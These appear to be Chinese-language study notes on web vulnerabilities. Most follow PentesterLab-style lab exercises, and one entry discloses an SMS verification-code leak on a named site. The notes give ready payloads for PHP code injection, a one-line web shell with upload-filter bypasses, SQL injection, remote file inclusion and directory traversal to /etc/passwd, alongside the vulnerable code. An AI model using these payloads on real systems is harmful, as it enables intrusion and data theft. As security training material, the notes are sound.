只要打开浏览器的开发者模式,点击获取验证码,就可以在网络交互中看到服务器返回的JSON,其中就包含验证码,手机号码随意收入都可以完成验证。
http://m.himofi.com/v2/
收入收到的JSON中的验证码,正常跳转。
修复方案:
加密或在发送验证码后保存在session中,而不是传给客户端。
Code injection
// 风险代码 // 用户来决定eval执行的代码内容 eval($_GET['name']); // http://vulnerable/codeexec/example1.php?name=";system('ls');" // http://vulnerable/codeexec/example1.php?name=".system('uname -a'); $dummy=" $order = $_GET['order']; // http://vulnerable/codeexec/example2.php?order=id);}system('pwd');// 这个好像不行 echo preg_replace($_GET['pattern'], $_GET['new'], $_GET['base']); // http://vulnerable/codeexec/example3.php?new=system('uname -a')&pattern=/lamer/e&base=Hello lamer
http://vulnerable/upload/images/evil.php?cmd=ls -lah
// 上传一个evil.php文件,内容如下: <?php system($_GET["cmd"]); ?> // 风险代码 // 任何类型的文件都能上传 move_uploaded_file($_FILES['image']['tmp_name'], '/var/www/upload/images/', basename($_FILES['image']['name'])); // 就算只过滤了php类型,也能通过.htaccess和后缀命名绕过 // 方法1: 命名为.php3 , .php4, .php5再上传,如evil.php4 // 方法2: 命名为.blah再上传,以便根据apache规则,自动换成php来解析(因为不认识.blah),如evil.blah // 方法3: 上传.htaccess文件 // 注: 可是怎么执行呢? if(preg_match('/\.php$/', $file)) die;
# 用空格即%20尝试 http://vulnerable/sqli/example1.php?name=admin' or '1'='1 # 用tab即%09尝试 http://vulnerable/sqli/example2.php?name=admin'%09or%09'1'='1 # 就算把空格和tab都过滤了,也可以用注释尝试 http://vulnerable/sqli/example3.php?name=admin'/**/or/**/'1'='1 # 当然最简单的方法是 http://vulnerable/sqli/example4.php?id=2 or 1=1;-- # 只要以数字结尾就可以了 http://vulnerable/sqli/example6.php?id=2 or 1=1#123 # 不行就试试这样 http://vulnerable/sqli/example7.php?id=2%0A or 1=1#123 # 这种也行 http://vulnerable/sqli/example8.php?order=name` %23 # 这种也行 http://vulnerable/sqli/example9.php?order=IF(0,name,age) // 带风险的对应代码 $sql = "SELECT * FROM users WHERE name='" . $_GET["name"] . "'"; $sql = "SELECT * FROM users WHERE id=" . mysql_real_escape_string($_GET["id"]); $sql = "SELECT * FROM users ORDER BY `" . mysql_real_escape_string($_GET["order"]) . "`";
// 让用户来决定你包含的文件,那就存在文件包含漏洞 if($_GET['page']) include($_GET['page']); // 比如:http://vulnerable/fileincl/example1.php?page=https://pentesterlab.com/test_include.txt // test_include.txt 的内容是: <?php phpinfo(); ?>发现是否存在文件包含漏洞的技巧, http://vulnerable/fileincl/example1.php?page=notexist.php, 报错:
Warning: include(notexist.php): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening 'notexist.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7此外,还可以进一步尝试在
test_include.txt
的末尾添加% 00
(没有空格)来尝试
// 由用户指定程序来读取服务器上的哪个文件 <img width="20" src="dirtrav/example1.php?file=hacker.png"> $path = '/var/www/files/' . $_GET['file'];对于这种类型,就这样:
http://vulnerable/dirtrav/example1.php?file=hacker.png 返回图片 http://vulnerable/dirtrav/example1.php?file=../../../../../../../../../../../etc/passwd 显示出来了!
// 这也太暴露了 <img width="20" src="dirtrav/example2.php?file=/var/www/files/hacker.png">对于这种类型,就这样:
http://vulnerable/dirtrav/example2.php?file=/var/www/files/../../../../../etc/passwd
http://vulnerable/dirtrav/example3.php?file=../../../../../../../../../../../etc/passwd % 00 # 没有空格* 以上通过火狐add-on: chrome://restclient/content/restclient.html 测试